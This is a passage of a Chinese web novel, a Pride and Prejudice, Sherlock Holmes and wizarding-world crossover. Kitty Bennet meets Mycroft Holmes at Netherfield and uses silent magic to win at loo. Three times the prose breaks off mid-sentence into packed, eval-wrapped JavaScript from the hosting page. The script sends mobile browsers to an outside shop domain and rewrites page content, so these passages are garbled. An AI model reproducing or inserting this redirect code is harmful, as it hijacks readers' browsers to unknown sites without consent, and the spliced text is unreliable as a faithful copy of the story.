这一点让凯瑟琳颇感意外,毕竟在这个年代,男士们多半钟情于各种胡须造型,无论是修整得体的鬓角,还是稍显浮夸的胡子。 她一直欣赏不了这种男性流行趋势。或许,她的审美里依旧保留着现代人的偏好,那些毛发造型在她眼里古典得有些过时了。 凯瑟琳特别留意了一下他的鼻子。 不是典型的鹰钩鼻。 那他一定不是夏洛克·福尔摩斯。 瞧她这出色的记忆力,几十年没看过福尔摩斯了,依旧还能记得柯南·道尔笔下的夏洛克·福尔摩斯的长相描写。 麦克罗夫特察觉到了这位年纪更小一些的班内特小姐对他好奇的打量。 “日安,两位班内特小姐。” 伊丽莎白回了一个礼:“日安,福尔摩斯先生。我是伊丽莎白·班内特,这是我的妹妹,凯瑟琳·班内特。” 凯瑟琳也跟着伊丽莎白打了招呼。 伊丽莎白没有过多与麦克罗夫特寒暄,比起尼日斐花园的陌生新客人,她眼下更挂心生病的简。 “达西先生,我收到了简的来信,因此特地和凯蒂一起来探望她。” 达西心领神会,他先是和麦克罗夫特致歉:“我想我们的散步得先暂停了,福尔摩斯先生。” 麦克罗夫特表示并不介意。 达西这才对伊丽莎白道:“请跟随我来吧,伊丽莎白小姐……和凯瑟琳·班内特小姐。” 啧,男人。 凯瑟琳又一次暗暗腹诽,达西先生真该好好感谢她。 若非她也一同来了尼日斐花园,让现下有两位班内特小姐同时在场,达西恐怕还要拖到猴年马月,才敢鼓起勇气直呼伊丽莎白的教名。 她有意地放慢了脚步,把更多并肩而行的空间留给走在前面的伊丽莎白和达西。 麦克罗夫特和她抱有同样的想法。 于是步子慢半拍的两人就这么同频了。 凯瑟琳有些诧异,稍一偏头,撞上了那双灰色的眼睛。 麦克罗夫特此时也正好低头,目光与她对上。 不过一瞬间,两人都已经读懂了对方眼底的揶揄。 凯瑟琳微微一怔。 是因为姓福尔摩斯吗? 这位福尔摩斯先生的洞察力,也意外好得惊人呢。 “福尔摩斯先生,也是宾利先生的朋友吗?” 麦克罗夫特那神情,像是早料到她会问,毫不意外:“是的。” 还挺高冷。 自我介绍时不说全名,如今女士主动开口寒暄,他也只舍得蹦出两个字。 凯瑟琳也不知道自己的情绪是从何而来,心里那点小恶趣味忽然作祟:“想必福尔摩斯先生也出身不凡吧?那可得小心了。” 麦克罗夫特适时地好奇:“小心什么?” 凯瑟琳一脸认真:“小心像宾利先生、达西先生那样,成为村里太太们口中新的潜在女婿人选。” 麦克罗夫特:“……” 这倒是他没猜到的。 他话语谦逊:“鄙人只是一个小小的政府公务员罢了,没有宾利先生和达西先生那样雄厚的财力和显赫的家世。” 凯瑟琳记得宾利小姐在给简的邀请信中曾提到,宾利与达西前两日一同去了伦敦。如今看来,他们此行恐怕正是为接这位福尔摩斯先生而去。 能让宾利与达西亲自前往迎接的人,怕不只是一个小小的公务员那么简单。 她面上不显山露水:“福尔摩斯先生是从伦敦来的?” “是的,正值休假,有幸承蒙宾利先生盛情相邀,得以到乡间的尼日斐花园暂作休息。” “乡间的景致确实比伦敦更宜人。” “我十分赞同你的看法,班内特小姐。” “福尔摩斯先生在哪个部门高就?” “首相私人秘书,幕僚之职,微不足道。” 凯瑟琳:“……” 人是怎么能够谦虚得这么不谦虚的? 她佯装惊讶:“噢,天哪,你竟然是首相身边的人!那你可知道最近为什么有一个民兵团来了梅里顿?我听说他们整个冬天都要驻扎在这里呢。我的妹妹莉迪亚原本还想拉着我一同去拜访一位军官太太。” 不好意思,让莉迪亚背锅了。 比起制服军官,现在的莉迪亚显然更喜欢凯瑟琳托人从法国巴黎寄回来的时装版画。 麦克罗夫特似笑非笑地看了她一眼:“班内特小姐,这类军事部署,不会向我这样的小小公务员通报的。” 凯瑟琳不好意思地笑了笑:“我对这些并不太了解,只是以为像首相私人秘书这样的职位,听起来就很了不得,应该知道很多政府机密吧。” 麦克罗夫特:“班内特小姐,政府中总有我不知道的事情。” 凯瑟琳点头:“福尔摩斯先生,你说得没错。哪个大臣能掌握全英国的机密呢?若真有这样的人存在,那他一定是一个很可怕的人,并且被许多人忌惮。” 麦克罗夫特:“……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584297|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他十分肯定她在拐着弯骂他。 “你深谙了政治的道理,班内特小姐。” “你过奖了,福尔摩斯先生。” 凯瑟琳非常确定,在傲慢与偏见的原著中,没有一位在政府任职的福尔摩斯先生会在简生病期间到尼日斐花园做客。 她不确定的是,自己这只“蝴蝶”的加入,到底在故事中引发了怎样的连锁反应。 来梅里顿驻扎的民兵团是原著的情节,她只是用此作为一个幌子,来套一套这位首相私人秘书的底细。 距离那次梅里顿魔法事件过去不到一个月,尼日斐花园就出现了一个不该出现的政府人物。凯瑟琳有理由认为,这不只是个单纯的巧合。 以她对魔法部的浅薄了解来看,在麻瓜世界里,能够与魔法部部长接触并获知魔法界详情的,唯有每任首相。 除首相之外,任何麻瓜政府人员都不会知晓魔法界的存在。这种保密,是通过魔法维系的,首相无法泄密。 但凡事没有绝对,有机密就总有泄密的可能。 她需要弄明白的是,这位福尔摩斯先生,究竟是一个好人,还是一个坏人,他的出现与魔法界有没有关系? 凯瑟琳久久没有出声,麦克罗夫特侧头看过去。 走在他身侧的年轻小姐看上去还没有二十岁,长时间的步行让她的脸颊微微泛红,呼吸也略显急促。 她盘着一头整齐的盘发,浅棕色的刘海因行走而稍显凌乱,贴在额间,一双清透的绿色眼睛半垂着,注视着自己的脚步。 身上的蓝色裙装裙摆与靴子都沾上了泥点。麦克罗夫特的目光下意识地落在这些泥迹上。 他注意到,她的靴子和裙摆上的泥点呈现干湿交错的状态,靴底泥迹仍带湿润,而沿裙摆下缘的泥点已经部分干结。 这表明她刚刚踏过湿软的泥地,又继续行走在较干的地面上,泥水逐渐干涸形成层次分明的痕迹。 为了探望生病的那位班内特小姐,她在这样的路况和天气下,步行了至少三英里的路程。 麦克罗夫特在看到她的第一眼时,就是这样推断出了她们的关系。 四人一道进入了尼日斐花园的宅邸。 尽管伊丽莎白已经说明了此行目的,但出于礼节,她们仍被领进了早餐厅,先与宾利一家打招呼。 进入早餐厅之前,沉默了许久的凯瑟琳终于提出了那个问题—— “福尔摩斯先生,刚才你自我介绍时,还没有告诉我们你的全名呢。” 麦克罗夫特并没有想要刻意隐瞒自己的全名,他只是在问候的时候没有顺道介绍自己的全名罢了。 因为他心里也有一个没思考明白的疑问—— “班内特小姐,你还认识其他姓福尔摩斯的人吗?” 凯瑟琳摇摇头:“不认识,你是我认识的第一个福尔摩斯。” “达西先生介绍我的姓氏时,你看起来像是还认识另一位福尔摩斯。” 凯瑟琳咋舌,这人也太敏锐了。 “福尔摩斯先生,让你失望了,我不认识其他福尔摩斯。” 麦克罗夫特轻笑:“是我唐突了,班内特小姐。” “所以你的全名叫什么?福尔摩斯先生。” “我叫麦克罗夫特·福尔摩斯,班内特小姐。” 凯瑟琳:“……” 为什么这个名字这么耳熟,好像在哪听过。 12. 第 12 章 如果非要评出世界上最令人难受的事,那么“熟悉却怎么也想不起来”的感觉,一定可以被列入强劲候选之一。 凯瑟琳此刻正被这种折磨深深困扰着。 在到简的房间里探望后,确认她的风寒只是受了凉,并无大碍。 凯瑟琳就自顾端正地坐在靠近壁炉的椅子上,双手叠放在膝盖,表面上娴静文雅,实际上神思早已飞到了九霄云外。 趴在床边的伊丽莎白正低声与简说话,偶尔传出一两声笑,她却一句也没听进去。 凯瑟琳的目光落在脚边那张花纹繁复的地毯上,绿色与金色交织的曲线在她眼前反复晃动,晃得她出神。 脑子里正在快速地回忆,试图在茫茫如海的信息中,想起一点点有关于麦克罗夫特·福尔摩斯这个名字的线索。 Damn it! 她一定见过这个名字的! 更让她觉得打脸的是,她的直觉一针见血地告诉她,这名字和福尔摩斯探案集有关。 可梅林的袜子啊,她几辈子加起来,离上一次读柯南·道尔的书,可能已经过去了有四十年了。 她一点也想不起来那位麦克罗夫特·福尔摩斯到底是哪号人物。 非要猜一个身份的话,凯瑟琳认为麦克罗夫特是夏洛克·福尔摩斯的兄弟。 如果这个猜测正确,那么原著中他的出场一定很少,少到她记得夏洛克·福尔摩斯的鹰钩鼻设定也不记得他有个兄弟。 早知道就该在前一辈子还没去霍格沃茨之前,多读读经典文学著作了。 而不是跟着上一世喜欢浪漫文学的妈妈反复看1995版傲慢与偏见电视剧,福尔摩斯倒是一本都没重看过。 伊丽莎白和简说完话,将病中的姐姐安抚入睡后,才拉着还在出神的凯瑟琳回到了餐厅。 宾利小姐正在与伊丽莎白寒暄,得知简希望妹妹们留下陪伴,立刻体贴地提出派人回朗博恩传信,并为她们带来换洗的衣物。 凯瑟琳环视餐厅,注意到达西和麦克罗夫特都不在。 果不其然,耳边就传来了宾利小姐压低的声音,她正在向哥哥宾利打听那位新客人的来历。 宾利的回答与麦克罗夫特先前告诉她的几乎一模一样,只说是受他邀请前来度假的朋友,语气随意得就像在谈一位从伦敦来的平凡绅士。 晚餐时,达西与麦克罗夫特终于现身。 宾利小姐几乎将全部注意力放在达西身上,偶尔与伊丽莎白交谈几句。 或许是为了弥补之前没有亲自招待的失礼,宾利对麦克罗夫特格外热情,晚餐话题从伦敦的议会一路聊到外贸、殖民地与未来的经济政策。这顿晚饭几乎要变成了一场政治沙龙。 达西显然更想要加入宾利和麦克罗夫特的话题,他好几次没有搭理宾利小姐的话,惹得宾利小姐面露尴尬,只好转头找姐姐赫斯特夫人说话。 凯瑟琳则全程像一个与剧情格格不入的旁观者。她一边安静地就餐,一边暗暗观察着坐在她正对面的麦克罗夫特。 他的神情镇定自若,目光微垂,语调平缓地与宾利和达西谈论。 但凯瑟琳敢打赌,他早就已经察觉到了自己毫不掩饰的目光。 他只是完全没打算回应。 他维持着那副疏离的姿态,仿佛从未注意到她的打量。 凯瑟琳甚至开始怀疑起自己,觉得自己是不是有些草木皆兵,惊弓之鸟了。 毕竟,就算这个本不该出现在尼日斐花园的人突然出现,也不一定就意味着什么突变或危险。 更何况,千百年来,魔法界在麻瓜世界中的保密做得天衣无缝。若真有泄露,魔法部早就炸开了锅,哪还轮得到她在这里疑神疑鬼。 算了,不纠结了。 这人到底是谁,又和自己有什么关系呢? 女人的第六感这种玄学的东西,也不一定每一次都准。 凯瑟琳想着想着就想开了,她悄悄地舒了一口气,将心神收回,目光从麦克罗夫特转移到了面前色泽鲜亮的炖牛肉上。 麦克罗夫特察觉到那道原本观察着他的视线忽然散去,握着餐刀的指尖微微一顿。 他抬眸,不动声色地扫向对面。 那位班内特小姐果然已经放弃了对他的探究,恢复了若无其事的模样,转而专注于她的食物。 有意思。 不论他怎样观察、推理和演绎,这个女孩看起来都只是一个再普通不过的乡绅家小姐,却有着超乎常人的强烈好奇心和直觉。 嗯……可能还有一些他目前暂时猜不出来的小秘密。 晚饭后,伊丽莎白和凯瑟琳回到简的房间陪她说话,一直到她睡下,她们才离开。 伊丽莎白最后一个出房间,她轻手轻脚地将简的房门关上,转身拉住了正要往楼下走的凯瑟琳。 凯瑟琳回头露出一个疑惑的眼神。 伊丽莎白看了看四周,确定没有旁人,才轻声问道:“从今天见到福尔摩斯先生开始,你就一直沉默寡言,晚餐时还盯着他看……” 凯瑟琳:“So?” 伊丽莎白看她像看个笨蛋:“你是不是对福尔摩斯先生一见钟情了?” 凯瑟琳:“……” 果然是言情鼻祖的女主,世界线串了但伊丽莎白拿的依旧还是言情剧本。 她摇摇头:“不是。” 伊丽莎白不相信她说的话:“那你为什么表现得像是身心都被这位初次见面的绅士偷走了一般?” 凯瑟琳:“……” 听听这台词,是她三辈子也想不出来的话。 “你误会了,莉兹。这位福尔摩斯先生和我的一位旧识有些相像,我只是在思考这个世界上会不会有两个相似的人类,而彼此却不知道对方的存在。若有的话,这种巧合是缘分还是早已被命运安排好的设定。说到这个,就不得不提到量子纠缠……” 伊丽莎白抬手打断她:“停停停,你在说些什么,凯蒂?我现在相信你没有一见钟情了,你知不知道你刚刚说话的样子就像是玛丽。” 效果达成,凯瑟琳满意:“我们去客厅吧,莉兹。” 她们走进客厅时,宾利一家人正在玩卢牌*1,达西和麦克罗夫特坐在壁炉旁低声交谈。 看到她们进来,宾利小姐便笑盈盈地开口,邀请她们一道玩牌。 伊丽莎白以想看书为由婉拒了邀请,这倒让宾利小姐的笑容多了几分不易察觉的僵硬,随即又装作不经意地嘲讽了几句。 凯瑟琳见伊丽莎白面上并没有明显的不快,想来是她也懒得和宾利小姐计较,于是凯瑟琳也当做没听到宾利小姐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584298|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,跟着伊丽莎白在沙发上坐下。 从来到尼日斐花园起,凯瑟琳就一直出奇的安静。 倒也不是说她平时是一个在众人面前话很多的小姐,但是像这样几乎一句话也不说,比喧哗更引人注意。 宾利小姐的目光在她身上转了几圈,心中越发不快。想到下午达西说伊丽莎白的眼睛美丽,气更是堵在心头。 偏生伊丽莎白不接她的讥讽,达西又全然未注意到她。 这般被人无视之下,她的心思一转,将主意打在了那位看似温顺安静的凯瑟琳身上。 “伊丽莎白小姐看书,那凯瑟琳小姐不会也要看书吧?”宾利小姐用手里捏着的牌遮着自己笑出声的下半张脸,“朗博恩的班内特难道是什么书香世家吗?” 单纯的宾利没听出妹妹的言外之意,只以为她们在讨论阅读和书籍。他一向热心,便兴致勃勃地加入话题,夸赞起达西在彭伯里的藏书,又从彭伯里聊到了达西的妹妹乔治安娜,和乔治安娜小姐的多才多艺。 听得凯瑟琳直想挠头。 难怪班内特先生会觉得宾利和简结婚之后,这对傻白甜夫妻可能会被仆人欺负。 对于那些与自己思想观念严重脱钩的古代人言论,凯瑟琳完全没有兴趣开口去辩驳什么。毕竟他们之间的代沟,大概比整个太平洋都要宽。 可惜这不意味着宾利小姐会放过自己。 “凯瑟琳小姐,你有什么才艺呢?我听说你是班内特家唯一一位曾在伦敦女子精修学校就读的淑女,想必在才艺与见识上,一定与其他几位小姐有所不同吧?” 凯瑟琳一脸无辜:“没有啊。” 宾利小姐愣住:“……什么?” 凯瑟琳:“没有什么不同之处,大家不都是两只眼睛,一个鼻子,一张嘴巴吗?我可没有比她们多一张嘴。” 宾利小姐的笑意彻底僵在脸上:“凯瑟琳小姐还真是……”她刚想说与众不同,又不想让凯瑟琳暗讽她的话被达西注意到,“……伶牙俐齿。不过,太伶牙俐齿的女士,可不讨男人喜欢。” 凯瑟琳:“还行吧。” 宾利小姐:“……” 感觉自己一拳打了一团棉花。 伊丽莎白憋笑憋得异常辛苦,只好垂着脑袋,把手里的书本抬高了一些,试图挡住自己压不下去的嘴角。 老天,她以前怎么没发现凯蒂是一个这么能说会道的人! 宾利小姐不甘放弃:“既然凯瑟琳小姐不爱读书,又这般口才出众,不如来和我们一块儿打牌吧?放心,我们只玩些小牌。即便你们今日来得匆忙,没带钱也没关系,我可以先借你。” 凯瑟琳在心里叹了一口气,看来今晚宾利小姐是非要让她这个十八线小配角加戏了。 “好吧,可我没玩过卢牌。” 赫斯特先生一听有新手菜鸟愿意加入牌局,喜上眉梢:“凯瑟琳小姐,你大可放心,我们会手把手教会你玩的,等你完全学会之后,我们再玩钱。” 凯瑟琳走过去一屁股坐下,十分真诚地问宾利小姐:“宾利小姐打算借我多少钱玩?” 宾利小姐倒是大方:“我借你二十英镑,输了不需要你还。若是你赢了,多出二十英镑的钱就归你。” 凯瑟琳双眼一亮。 嘿,有钱不赚王八蛋。 13. 第 13 章 麦克罗夫特坐在不远处,众人话题刚刚展开时,他与达西便已停下了交谈。 他端起手边的骨瓷茶杯,目光若有所思地落在凯瑟琳身上。 这位看似天真无害的乡村小姐,算计人心的熟练程度,竟与他的某位弟弟不相上下。 灰色的眸子染上一层浅淡的笑意。 真有意思。 这边,赫斯特先生正十分积极地给凯瑟琳介绍卢牌的规则。 “每人三张牌,牌一发完,便翻出一张底牌。那张牌的花色,就是今晚的主色。每位玩家都得下注,你可以选择play继续,或是pass弃权。可一旦选择play,却一墩都没赢,那就被looed了。” 凯瑟琳听完规则后,不着痕迹地皱了皱眉。 她向赫斯特先生要了一副完整的牌,垂眸一张一张地翻看,快速记牌。 是她大意了。 光听到有钱赚了,没料到这玩意儿随机性强且牌量少信息少,想光靠算牌取胜几乎不可能。 比起二十一点之流,卢牌更依赖心理博弈与风险判断。换句话说,这是那种运气与智商五五开的游戏。 凯瑟琳将手里的牌递还给赫斯特先生,脑子里还在飞速计算概率。 宾利小姐见她看完牌后安静不说话,以为她已经被牌戏规则难倒,又碍于面子不敢主动提问,便笑着问:“凯瑟琳小姐,你充分理解规则了吗?需不需要我再给你解释一遍?” 凯瑟琳客气道:“不用了,谢谢。” 好心的宾利却误以为她是为了淑女的面子逞强,才不好意思说自己还有不清楚的地方,他很体贴地建议:“达西的卢牌也玩得极好,可惜他不爱玩牌,就我所知没有哪个绅士比他更擅长。不如,达西,你来教教凯瑟琳小姐?先玩一局,等凯瑟琳小姐熟了再开始下注。” 听到这番话,宾利小姐的反应更大,她猛地转头看向宾利,瞪了一眼自家哥哥。 不过宾利并没有注意到妹妹的眼神,只是满脸期待地看着坐在沙发上的达西,希望他能大发慈悲地来帮助一下凯瑟琳小姐。 达西毫无兴致:“我想赫斯特先生已经讲得很清楚。不如宾利小姐再给凯瑟琳小姐解释一遍?以宾利小姐的聪慧,想必能让人茅塞顿开。” 宾利小姐的脸色这才好看了一些。 凯瑟琳:“……” 不是,你们是都听不见我说话吗? 伊丽莎白放下了手里的书本,起身走到凯瑟琳的身后,将手搭在凯瑟琳的肩膀上。 她并不在乎宾利小姐和达西先生对她冷嘲热讽的傲慢态度,但是她可不喜欢他们这样对待自己的妹妹,更何况凯瑟琳什么也没做错。 伊丽莎白:“我来带你玩,凯蒂。” 还是自己家姐妹靠谱。 凯瑟琳发誓等回家了,她一定多送伊丽莎白两瓶强身健体魔药。 是的,没错,凯瑟琳偶尔会到厨房里,偷偷在家人的饭食中加一点自己制作的保健养生魔药。 毕竟班内特先生活得越久,朗博恩庄园就能属于他们家越久。在她攒够钱买房之前,就算她一直不结婚,也不用太愁会没有房子住了。 简这次的风寒之所以未成大病,除了出发前她在衣裙上加了防水咒,大概也多亏了那些增强体质的魔药。 凯瑟琳抬手抚上伊丽莎白的手背,轻轻拍了拍,示意自己可以解决这个麻烦。 就算不能算牌,她也未必打不赢。 实在不行……她也不是什么品德多高尚的人,用点儿超能力小魔法,出个小小的老千,挫一挫宾利小姐那高傲的气焰也不是什么难事。 谁让宾利小姐来找她的茬。 伊丽莎白手把手带着她玩了第一轮,这一轮赫斯特太太是最大赢家。到了第二轮的时候,伊丽莎白几乎就不用再出声指导了。 凯瑟琳上手的速度比所有人预料得要快。三局中她拿下了两局,这让人不得不怀疑今晚的幸运女神是不是都站在了凯瑟琳这边。 连她自己都惊讶于这样好的运气,要知道她可是连一点老千都还没出,光靠着观察他人的反应和算牌来推演了赢牌的概率。 不过,话可不能说得太早,这不从第五轮开始,她就连续looed了两轮。 她的失败显然让宾利小姐很开心。 “哎呀,凯瑟琳小姐,看来运气女神也会眷顾别人呢。”宾利小姐抿了抿嘴角,笑得格外得意。 这么烦人,那可别怪她不讲武德了。 凯瑟琳的胜负欲被激起,她微微垂下眼帘,右手指尖轻轻敲了一下桌面。 那是一种极轻极细的动作,很难被察觉,可空气却似乎随之轻颤了一下。 煤油灯的光亮微晃,几张牌的角在她眼底泛出不自然的银色光泽。 接下来的牌局中,凯瑟琳几乎是屡屡获胜,赢得的钱已经远远超出了宾利小姐借给她的初始本金。 赫斯特先生原本是牌局上手气最差的,想着加入了一个新人,怎么也能多一个垫底的人。却没想到自称从未玩过卢牌戏的凯瑟琳小姐运气如此之好。 他难以置信:“都说玩卢牌需要的不仅仅是运气,还得会洞察人心,凯瑟琳小姐,你从未与我们玩过卢牌,是怎么能知道我们的玩牌风格的?” 凯瑟琳毫不谦虚:“可能是我天赋异禀吧,赫斯特先生。” 赫斯特先生露出一副被打击到了的表情。 宾利第一次见到这么会玩卢牌的小姐,倒是十分新奇,他并不在乎自己输了的那几十英镑的小钱,而是开始对比起了凯瑟琳和达西。 “达西,将来有机会你可必须得和凯瑟琳小姐玩一次卢牌。我敢说,凯瑟琳小姐的牌技远胜于你。” 达西:“那么,宾利,恭喜你找到了一个水平超乎常人的新牌友。希望她不像我一样不热衷于玩牌。” 凯瑟琳可不在乎他们在说什么,她心情愉悦地数着自己今晚赢来的钱。 足足有一百三十英镑呢。 她将三十英镑递给了宾利小姐。 “宾利小姐,非常感谢你借给我的二十英镑。如果不是这二十英镑的本金,我今晚是绝对赢不了这么多钱。十英镑是我的一点小心意,请务必收下。” 拿好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584299|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱以后就不要再来找她的茬咯。 凯瑟琳笑眯眯地看着宾利小姐接过三十英镑。现在,即便宾利小姐再说上十句冷嘲热讽,她也会当做耳边风。 宾利似乎还意犹未尽:“凯瑟琳小姐,要不要继续玩?” 凯瑟琳目的已达到,见好就收,满足地摇摇头:“不了,宾利先生,和你们玩牌确实很有趣。但我和莉兹今天走了许久的路,已略感疲惫,请允许我们先回房休息。” 话音未落,宾利小姐也放下手里的牌:“我也累了。” 其实,她在听到宾利提及达西不喜玩牌时,就已后悔在达西面前起了牌局的念头。 牌桌上,一下子少了两人,自然也就无法继续下去了。 凯瑟琳跟在伊丽莎白身后离开客厅。 将要路过沙发时,凯瑟琳不经意地瞥向那位从头到尾都未参与牌局话题的麦克罗夫特。 他靠坐在那里,手里拿着管家刚端上的宵夜甜点,一份小巧的酥饼,正细嚼慢咽,眉眼间带着几分沉思。 恰在此时,麦克罗夫特抬眸。 两人的视线在空气中不期而遇。 顷刻间,凯瑟琳感受到了一种轻微的心跳加速,仿佛对方在静默中捕捉到了她的思绪,而她也在无声中读懂了他眼里的洞察。 凯瑟琳暗暗后悔刚才在牌桌上玩得太过入迷,甚至忘记了厅中还有一位底细成谜的旁观者。 她有信心自己刚才施咒时做得足够隐蔽,但很快她便意识到,早前两人对话中的互相试探,已经足以证明这位福尔摩斯先生的洞察力并非寻常人可比。 即便没有直接看见施咒动作,有心之人也能从微小的肢体变化,甚至目光的流转,捕捉到常人容易忽略的线索。 凯瑟琳心头微微一紧,暗自庆幸自己的无声咒足够熟练,又在心底提醒自己,下次绝不可再如此掉以轻心。 她低下头,假装在走路间理着裙摆,避开了那双审视的灰色眼睛。 麦克罗夫特看着凯瑟琳的目光暗含深意。 他今夜一整晚都在观察这位班内特小姐,他精于伪装术,同样也擅长不让被观察者察觉到自己观察的视线。 从他的位置恰可看到凯瑟琳的右侧。一开始的时候,凯瑟琳在牌桌上有输有赢,即便赢的次数略多于输的次数,但这也还算是正常的概率。 卢牌本就掺杂运气,心思敏锐者略胜一筹也不奇怪。 但到了后半段,她的好运近乎完美,每一轮都似有无形之手推着她走向胜局。 麦克罗夫特修长的手指轻轻摩挲着骨瓷茶杯的杯柄,灰色的眼睛停在了凯瑟琳白皙纤细的右手上,暗自思忖。 他观察了三轮牌后,排除了所有的可能,留下了最后一种,也是听起来最不可能的猜测—— 凯瑟琳使用了某种不为常人所知的秘密能力,来赢得了后面几轮的牌局。 现在,那身影正在朝他的方向走来,裙摆微微拂过空气,他忽然心生几分恶作剧的念头。 在对方从他身边走过时,他嗓音低沉轻缓道了一声: “晚安,凯瑟琳小姐。” 14. 第 14 章 但凡这话不是对着自己说的,凯瑟琳大概都要忍不住夸一句,真是个极好听的声音。 可惜,她清楚地看见了那双灰色眼眸里的调侃与试探。 凯瑟琳停顿的脚步和伊丽莎白回头看向他们的眼神一样诡异且复杂。 “……晚安,福尔摩斯先生。” 她语气尽量平静,却还是在尾音里露出了一点不自然的紧绷和咬牙切齿。 走出客厅的下一秒,伊丽莎白便伸手拽住凯瑟琳的手臂,把她拉近自己,压低声音问:“是不是你晚餐时的注视给了福尔摩斯先生错误的信号,让他误以为你喜欢上他了?” 凯瑟琳一噎,立刻反驳:“互道晚安只是一种基本的社交礼仪,莉兹。” 伊丽莎白翻了个白眼:“噢,那他怎么不对我也有这样的礼貌呢?” 凯瑟琳:“……可能是因为达西先生也在场吧。” 伊丽莎白一脸问号:“这又和达西先生有什么关系?” “没什么关系,我乱说的。”凯瑟琳叹气,仰头望着天花板,语气无奈,“我觉得福尔摩斯先生也是乱说的。你知道的,男人嘛,有时候就是这样不可理喻。” 不可理喻地去挑衅他们尚未理解的事物,去掀开别人竭力隐藏的秘密,只为看那人一瞬间的破绽。 对,她说的就是麦克罗夫特·福尔摩斯。 凯瑟琳此刻几乎有七成把握可以肯定麦克罗夫特知道点什么。但具体知道了什么,知道了多少,如何知道的,就不得而知了。 这位福尔摩斯简直敏锐得令人发指,他聪明、冷静、理智,还有缜密的逻辑推理能力。 凯瑟琳甚至怀疑,只要他能克服那道“世界上不可能存在超现实人群”的心理障碍,便能立刻推断出她真正的身份。 她没亲眼见过那位传说中的夏洛克·福尔摩斯,但她敢肯定,这位福尔摩斯先生有过之而无不及。 若真是兄弟,那世上竟会同时存在两位这样的人类,也未免太让人头疼了。 “你说得很对,这个世界上大多数的男人都很不可理喻。比如达西先生,他简直就是个典型的例子,他傲慢得不可理喻。”伊丽莎白越说越气愤,“我每次见到他,他都板着一张脸,说话又冷又硬,好像全世界都欠了他钱似的。不知道的人还以为,他那每年一万英镑的年收入,全是靠收债利息赚来的呢。” 凯瑟琳忍不住笑出了声,眼神里带着几分揶揄地望着伊丽莎白。 “你这么看着我做什么?难道我说错了吗?”伊丽莎白对凯瑟琳看她时露出的表情不明所以,“你看看他今晚那副样子,宾利先生一片好心,只不过想让他帮帮你而已。结果这位达西先生呢?不仅对陷入困境的无辜小姐袖手旁观,还出口讥讽。他以为他是谁?凭一个卢牌戏的规则就能判断你和宾利小姐谁更聪慧吗?” 凯瑟琳看着眼前义愤填膺的伊丽莎白,忍不住笑得更欢了。 虽然很感谢自家姐妹在命定男人前都能这么为自己说话,但是想到伊丽莎白和达西后期双双打脸,她又觉得人类的爱情真是件奇妙的事情。 噢不对,应该说是,看别人谈恋爱真是太有趣了。 “别说达西先生了,”伊丽莎白忽然换了话题,眼底闪着狡黠的光,“说说福尔摩斯先生吧。” 凯瑟琳愣了愣:“说他做什么?” “说说你和他,”伊丽莎白双臂交叉,神情就像小时候在质问妹妹偷吃了小蛋糕一样,“你别装作什么都没有发生的样子。” 她一脸理直气壮地继续分析道:“今天达西先生带我们进入尼日斐花园的时候,你和那位福尔摩斯先生一直走在后头。虽然我当时确实心急着去探望简,但可别以为我没看见,你们两个并肩走了一路,还低声说个不停。就连等候管家通报进早餐厅的时候,你们都在窃窃私语。” 凯瑟琳面不改色:“我们只是进行普通的社交寒暄而已。” 伊丽莎白挑了挑眉,意味深长:“他家住在哪里?工作在何处高就?他来尼日斐花园是做什么的?” 凯瑟琳:“他是首相私人秘书,一般这样的职位都是在唐宁街或者白厅工作。想必他居住的地方离工作地点也不远。但无论如何,他确实说过自己是从伦敦来的。至于来尼日斐花园的原因,据他说,是受宾利先生邀请,来此短暂度假。” 伊丽莎白显然还没问够:“他的家里有几口人?收入怎么样?” 凯瑟琳这才反应过来自己被带了节奏:“……这我怎么会知道?” 伊丽莎白道:“如果福尔摩斯先生要在尼日斐花园待上超过三天,那么我敢保证,整个乡镇里所有家中有未婚女儿的太太们,都会在第四天前把他的出身、收入、家庭背景,甚至爱吃什么都打听得一清二楚。” 凯瑟琳:“……” 好有道理,村口情报组织的威力果然是古今中外全球统一的。 伊丽莎白继续道:“所以,一旦你回家时一问三不知,你觉得知道你和福尔摩斯先生在同一个屋檐下待了至少一天的妈妈,会轻易放过你吗?” 凯瑟琳想象了一下班内特太太追着她问的样子,不由得皱起了脸,低声嘀咕:“你说得很有道理……但那是‘我们’。我们是一起在尼日斐花园的,妈妈不会只问我。” 伊丽莎白露出一个堪称优雅的微笑,语气却一点也不仁慈:“我会如实告诉妈妈,在尼日斐花园里,究竟是谁和福尔摩斯先生单独说话最多的,凯蒂。” 凯瑟琳一脸被亲姐卖了的绝望:“莉兹,你真是我见过最危险的女人。” 她忽然觉得,自己一个普普通通的乡村女孩,此刻竟活得像个在做潜伏任务的MI6特工。 